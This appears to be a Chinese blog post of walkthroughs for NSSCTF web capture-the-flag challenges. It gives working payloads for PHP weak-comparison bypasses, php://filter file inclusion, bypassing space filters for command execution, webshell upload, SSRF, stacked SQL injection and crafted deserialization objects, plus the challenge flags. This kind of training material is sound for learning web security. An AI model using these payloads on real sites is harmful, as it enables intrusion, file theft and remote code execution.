NSSCTF-Web详细完整题解(前64)
只要有空就会更新 ------2024-01-05 21:41:58
ID:382 [SWPUCTF 2021 新生赛]gift_F12
页面很好看,但是没有什么用,F12直接查找flag。
得到flag:
WLLMCTF{We1c0me_t0_WLLMCTF_Th1s_1s_th3_G1ft}
ID:384 [SWPUCTF 2021 新生赛]jicao
该题接受2个POST的传参,其中$_GET['json']
应是json格式的.这里具体查找json_decode()的用法,json_decode()
于是我们构造payload为?json={"x":"wllm"},post传参id="wllmNB"
注意必须为双引号。
得到flag:NSSCTF{d85ea3d0-d2a8-45d6-9551-0bf48cfa92da}
ID:386 [SWPUCTF 2021 新生赛]easy_md5
题目接受1个GET传参和1个POST传参,分别是name和password,要求name和password弱比较
的时候不同,而md5值相同
php中数组经过MD5后都是null,所以可以用数组进行绕过。
payload:http://node5.anna.nssctf.cn:28973/?name[]=1,并且POST传参password[]=2
得到flag:NSSCTF{cd70e7a9-ab4d-4211-8ad8-b7596b254f62}
ID:427 [SWPUCTF 2021 新生赛]include
既然他让我们传一个file,我们就用get传参,http://node4.anna.nssctf.cn:28814/?file=flag,得到以下
可以看到有include_once
,先试一下?file=/etc/passwd
,有回显,说明有文件包含,可以用filter伪协议,?file=php://filter/read=convert.base64-encode/resource=./flag.php
得到base64后的
PD9waHANCiRmbGFnPSdOU1NDVEZ7YTZhngjmzwetmwm5ys00ywm5ltk3ytqtnju2mzy2ywiwzmi5fsc7 ,不知道为什么解不出来,乱码。我知道原因了,因为我开了自动翻译!
PD9waHANCiRmbGFnPSdOU1NDVEZ7YTZhNGJmZWEtMWM5YS00YWM5LTk3YTQtNjU2MzY2YWIwZmI5fSc7
正确应是这个。base64解码后得到flag.
<?php
$flag='NSSCTF{a6a4bfea-1c9a-4ac9-97a4-656366ab0fb9}';
ID:387 easysql
右键发现提示:
初步判断是字符型注入
sqlmap跑一下:
NSSCTF{d666520c-cd11-4339-a877-899074f24815}
ID:424 [SWPUCTF 2021 新生赛]easyrce
非常简单的rce漏洞
NSSCTF{4d4a7cf8-4e1c-4517-8954-34ab7d7142a0}
ID:383 [SWPUCTF 2021 新生赛]caidao
进入到页面,发现会执行POST传进去的参数。
跟上题一样的逻辑:NSSCTF{f265a294-5496-46b6-8a76-2294a7890fe4}
ID:385 [SWPUCTF 2021 新生赛]Do_you_know_http
先复习一下:
Host:指定所访问的域名
Referer:告知服务器该请求是从哪里过来的
User-Agent:浏览器特征说明,包括当前用户所有的操作系统以及浏览器的类型和版本号,方便网站来呈现出适合当前用户的前端展示效果
Cookie:存储用户的状态信息
X-Forwarded-For/Client-Ip/X-Real-IP:都可以用来伪造本地访问
via: Clash.win
于是我们把UA改成WLLM,
那么我们就添加一个X-Forwarded-For:127.0.0.1
Flag:NSSCTF{d53761b0-44b4-49a7-9386-c32654a4af50}
ID:344 [第五空间 2021]WebFTP
进去是这个页面,试过各种弱密码都不行。
在这个网站中找到账号和密码,然后直接登陆。
这个目录是这个网站的后台界面,我们查看phpinfo.php找到flag!
flag:NSSCTF{38c4b3f5-8e23-4d05-99c2-41b70604b742
ID:425 [SWPUCTF 2021 新生赛]babyrce
首先要传入一个cookie,值为1
可以知道过滤了空格。
以下是过略空格的绕过方法。
` 1.重定向符,文件读取时,可用cat<>flag.php,单独使用<似乎也可以`
`2.${IFS},$IFS$9,$IFS
`3.控制字符代替,%09(tab),%0a`
`4.字符串截取空格,例如ctfshow=aabbcc,${ctfshow}=aabbcc,${ctfshow:2}=bbcc,${ctfshow:4:1}=c,有理论基础就可以通过已经定义的环境变量来构造字符串。`
5.在bash下还可以使用{cmd,args}`,例如{cat,text}
就是用${IFS}吧,
再用cat命令得到flag:NSSCTF{ff4cfb06-ad80-4de3-a115-959a44b9bcaf}
ID:426 [SWPUCTF 2021 新生赛]ez_unserialize
目录扫描一下吧!
扫到一个flag.php,但是什么内容都没有
用御剑扫,
访问robots.txt,不知道dirsearch为什么没有扫到,又扫了一次,发现了!
直接访问c145s.php,得到题目,
非常简单的反序列化,只要修改admin和passwd就行。
<?php
class wllm{
public $admin;
public $passwd;
public function __construct(){
$this->admin ="admin";
$this->passwd = "ctf";
}
}
$a=serialize(new wllm());
echo urlencode($a);
?>
ID:423 [SWPUCTF 2021 新生赛]easyupload2.0
题目要求传一个文件,传图片可以,但是传php不行。
先试下文件类型绕过
改类型不行,但是可以上传phtml文件。
于是传一个小马上去
app中有flag.php
ID:388 [SWPUCTF 2021 新生赛]easyupload1.0
这道题只要改一下抓包文件类型就行了
ID:3861 [LitCTF 2023]我Flag呢?
进来就是少儿不宜的画面,哪里找flag呢。右键查看源码就能找到。
ID:429 [SWPUCTF 2021 新生赛]no_wakeup
很简单的反序列化的题,这里就不过多赘述了。
ID:441 [SWPUCTF 2021 新生赛]PseudoProtocols
目录扫描,但是什么都没有。既然题目给参数。就试试伪协议吧。
/index.php?wllm=php://filter/read=convert.base64-encode/resource=hint.php
解码后得到<?php
//go to /test2222222222222.php
?>
<?php
ini_set("max_execution_time", "180");
show_source(__FILE__);
include('flag.php');
$a= $_GET["a"];
if(isset($a)&&(file_get_contents($a,'r')) === 'I want flag'){
echo "success\n";
echo $flag;
}
?>
代码审计,file_get_contents可以用php://input.或者是data协议
ID:2011 [NISACTF 2022]easyssrf
既然是SSRF,试试能不能直接访问flag,访问一下http://127.0.0.1/flag.php。
用file协议查看,
<?php
highlight_file(__FILE__);
error_reporting(0);
$file = $_GET["file"];
if (stristr($file, "file")){
die("你败了.");
}
//flag in /flag
echo file_get_contents($file);
用php://filter伪协议查看
ID:3865 [LitCTF 2023]PHP是世界上最好的语言!!
在右面输入这个,<?php system('cat /*');?>
得到flag:NSSCTF{db364d12-845d-4e56-8b0d-d8d63c8098da}
ID:19 [suctf 2019]EasySQL
后端的语句相当于,select 输入内容 || flag from Flag。这里的||相当于或。(为什么呢?因为输入0不回显,输入1回显。)
但是在sql中||应该是一个连接符。我们可以设置一下。
1;set sql_mode=PIPES_AS_CONCAT;select 1
第二种方法:输入*,1
ID:22 [ZJCTF 2019]NiZhuanSiWei
<?php
$text = $_GET["text"];
$file = $_GET["file"];
$password = $_GET["password"];
if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf")){
echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";
if(preg_match("/flag/",$file)){
echo "Not now!";
exit();
}else{
include($file); //useless.php
$password = unserialize($password);
echo $password;
}
}
else{
highlight_file(__FILE__);
}
?>
第一个用input伪协议绕过
第二个暗示我们查看useless.php。
我们用filter协议查看源码。
获取到useless的源码。
<?php
class Flag{ //flag.php
public $file;
public function __tostring(){
if(isset($this->file)){
echo file_get_contents($this->file);
echo "<br>";
return ("U R SO CLOSE !///COME ON PLZ");
}
}
}
?>
very easy的反序列化。
class Flag{ //flag.php
public $file;
public function __construct(){
$this->file='flag.php';
}
}
echo urlencode(serialize(new Flag()));
?>
注意要把useless.php改回去。
flag:NSSCTF{bf159420-e407-496c-949a-f65b329e151f}